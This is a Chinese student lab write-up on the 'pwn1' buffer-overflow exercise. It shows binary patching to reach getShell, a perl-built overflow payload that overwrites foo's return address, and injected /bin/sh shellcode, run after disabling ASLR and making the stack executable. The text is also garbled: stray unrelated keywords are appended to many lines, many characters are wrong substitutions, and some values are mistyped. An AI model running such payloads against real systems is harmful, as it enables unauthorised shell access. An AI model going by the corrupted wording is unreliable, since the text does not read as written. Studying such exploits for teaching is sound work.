實驗目標:linux
本次實踐的對象是一個名爲pwn1的linux可執行文件。shell
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。編程
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。sass
本次實踐的目標就是經過學習用兩種方法運行這個代碼片斷。而後學習如何注入並容許任何shellcode。網絡
實驗內容:數據結構
1)手工修改可執行文件,改變程序執行流程,直接跳轉到getshell。dom
2)利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getshell函數編輯器
3)注入一個本身製做的shellcode並運行這段shellcode。函數
1、須要掌握的:學習
1.NOP, JNE, JE, JMP, CMP彙編指令的機器碼
查閱資料可知:
NOP指令:「no operation」。執行到NOP指令時,cpu僅僅繼續執行NOP後面的一條指令。
JNE指令:「Jump Not Equal」,若是不相等則跳轉。
JE指令:條件轉移指令,若是相等則跳轉。
JMP指令:無條件跳轉指令。無條件跳轉指令可轉到內存中任何程序段。轉移地址可在指令中給出,也能夠在寄存器中給出,或在存儲器中指出。
CMP指令:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。
2.反彙編和16進制編輯器
反彙編指令
objdump
利用指令:man objdump能夠了解相關參數極其含義,如圖:
十六進制編程器相關指令:
:%!xxd
:%!xxd 指的是在vi編輯器中顯示的文件在輸入該指令後會以十六進制的形式顯示。
:%!xxd -r 指的是將上述轉化爲十六進制的信息再轉換會二進制。
實驗一:手動修改機器指令
1.使用objdump -d 20164311對20164311進行反彙編
能夠看到,程序在80484b5這個位置調用了foo函數。
機器指令中e8對應跳轉 能夠在其餘函數中相同指令call位置中,對應找到機器指令的開頭都爲e8。
機器執行下一條指令的地址都保存在eip寄存器中,若是沒有調用函數那麼eip寄存器中的值應該爲下一條指令的地址,若是調用了函數則eip寄存器中的值應該修改:(爲下一條指令的地址+e8以後的值)。
因此根據上述條件,咱們能夠用16進制計算器去驗證。
即:eip + d7ffffff = 80484ba-0x29 = 8048491
已知 getShell 函數位於 804847d。
即:d7fffff 應該被修改的值=0x7d - 0xba = -0x3d = 0xc3(補碼轉換)
而後利用 vi 編輯器 使用命令:%!xxd 以利於觀看的十六進制顯示方式,再用/e8 d7命令找到所在位置,修改文件20164311內的值。
再次反彙編查看更改是否正確
確認正確後並運行。
實驗二:經過構造輸入參數,形成BOF攻擊,改變程序的執行流
使用指令:
objdump -d 20164311 | more
觀察foo函數能夠看到:存在一段功能爲讀入和輸出的語句。
但實際上,foo函數只給這段字符串預留了一個28字節的緩衝區(即0x1c),也就是說存在所謂的 Buffer overflow 漏洞。
根據上課所講:堆棧中程序執行的方向上,被調用函數所分配的空間後面應當是,以前edp寄存器中的值,便是一個地址。
從左側能夠觀察到,地址是4個字節 故咱們有理由推測:爲了修改返回地址,咱們應當把想要修改的地址放在一個字符串中的第33個字節到36個字節的位置。
而33字節以前的字節能夠填充任意的字符。
爲此咱們須要經過調試確認一下推理是否正確,以及:所肯定四字節地址在輸入時的擺放順序。
固然做爲攻擊者的咱們在實際攻擊中並不可能經過反彙編來確認要攻擊機器的地址位數,咱們只知道緩衝區只有28字節,存在漏洞。
因此咱們要先肯定機器的地址位數。
而後確認咱們輸入的順序
由此能夠看出,發生了段錯誤,而且33到36字節被某些字符覆蓋。
固然,對於攻擊者,咱們必須輸入某些長度的字符去猜想被攻擊機的地址長度,因爲地址長度是極其有限的幾個數的任意一個,故作到這一點並不麻煩。
根據咱們輸入字符的順序是1234 而被覆蓋的地址的順序是4321。
故爲使返回地址指向 0804847d 處的 getShell 函數,須要構造字符串:11111111222222223333333344444444\x7d\x84\x04\x08。
又因爲咱們無法用鍵盤輸入這樣的16進制 因此咱們使用如下指令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 164311
生成一個包含這些16進制內容的文件
驗證如下內容是否正確:
而後利用管道 | 將上一條指令的輸出 做爲下一條指令的輸入
實驗三:注入shellcode並執行
此實驗中,咱們使用老師已經爲咱們準備好的shellcode。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
首先,修改相關配置
root@164311:~# execstack -s 20164311 //設置堆棧可執行
root@164311:~# execstack -q 20164311 //查詢文件的堆棧是否可執行
X 201664311 root@164311:~# more /proc/sys/kernel/randomize_va_space 2 root@164311:~# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
root@164311:~# more /proc/sys/kernel/randomize_va_space 0 root@164311:~#
注入一段代碼,咱們使用如下指令構造一個input_shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 164311
在該窗口運行指令
(cat 164311;cat) | ./20164311
打開一個新的窗口,輸入指令查詢當前運行的20164311的進程號
ps -ef | grep 20164311
使用如下指令進行調試
attach 3572 disassemble foo break *0x080484ae c
查看esp寄存器的地址
info r esp
以16進制形式查看0xffffd37c地址後面16字節的內容
x/16x 0xffffd37c
從上圖可知,要注入的shellcode代碼應該在ret指令地址後四個字節的位置,即0xffffd37c + 0x00000004 = 0xffffd380,而後退出gdb
修改注入代碼
perl -e 'print "A" x 32;print"\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' >164311
輸入命令
(cat 164311;cat) | ./20164311
遇到的問題及解決方法
問題:當時在作第二個小實驗進行調試的時候,輸入字符串出現了異常的顯示
解決辦法:作實驗必定要備份。由於首先網絡攻防的命令較長,咱們不能保證每次都輸入的是對的,僅僅在vi編輯器內,沒有將十六進制的文件轉換會二進制就會發生文件損壞,因而可知備份文件是多麼重要,然而基於這個問題,也是省略了備份文件步驟而形成的錯誤,直接在源文件內進行修改,因此形成完成實驗一後沒法正常完成實驗二。
實驗收穫和感想
收穫:每次作這個實驗的時候,我都會想起老師第一節課說:一臺電腦放在這裏,你是否知道他在幹什麼。這個實驗讓我從更加底層的角度理解了漏洞能夠如何被利用,再次以前,我還記得我在學c語言的時候,經常不會去考慮越界錯誤,也經常不想去作邊界測試,但此次試驗以後,我明白了任何一個程序均可能有漏洞,咱們必定要經過學習網絡攻防了解如何發現漏洞,以及利用堆棧結構形成溢出,修改返回地址的底層原理,這樣才能作到更好的防患於未然。
什麼是漏洞?漏洞的危害
我認爲漏洞就是在編程的時候,因爲程序中的數據結構存在必定的限制,或出於偶然或出於必然,從而致使計算機能夠被攻擊的一個缺陷
而漏洞的危害天然是會致使本身的計算機被攻擊,影響正常的使用以及形成數據的泄露。